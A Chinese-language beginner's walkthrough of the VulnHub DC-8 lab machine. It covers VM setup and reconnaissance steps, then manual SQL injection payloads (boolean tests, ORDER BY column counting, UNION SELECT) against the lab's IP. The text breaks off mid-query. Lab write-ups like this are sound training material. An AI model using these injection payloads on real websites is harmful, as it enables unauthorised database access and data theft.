靶机DC-8（详细渗透，适合新手渗透）

靶机DC-8 （详细渗透，适合新手渗透）

0x01靶机描述

靶机信息

链接	https://www.vulnhub.com/entry/dc-8,367/
发布日期	2019年9月4日
作者	DCAU
难度	简单

0x02环境搭建

1. 下载并导入靶机

打开vmware-文件-打开-DC-8.ova

2. 查看网络适配器

将靶机网络适配器改为NAT模式

3. 启动靶机

点击 ▶靶机，开启成功

0x03靶机渗透

一、 信息收集

1. 主机发现

2. 端口扫描

3. 详细扫描

4. 目录扫描

5. gobuster目录扫描

为了避免漏扫，gobuster再进行目录扫描

6. 网站指纹识别

二、 漏洞挖掘

手工sql注入

1. 通过手工验证，此处url含有sql注入漏洞

http://192.168.30.206/?nid=2 and 1=1 --+

http://192.168.30.206/?nid=2 and 1=2 --+

2. 判断字段数

http://192.168.30.206/?nid=2 order by 1 --+

http://192.168.30.206/?nid=2 order by 2 --+

所以可以看出字段数为1

3. 判断显示位置

http://192.168.30.206/?nid=-2 union select 1 --+

4. 查看当前数据库

5. 查找库d7db中所有的表

http://192.168.30.206/?nid=-2 union select group_conc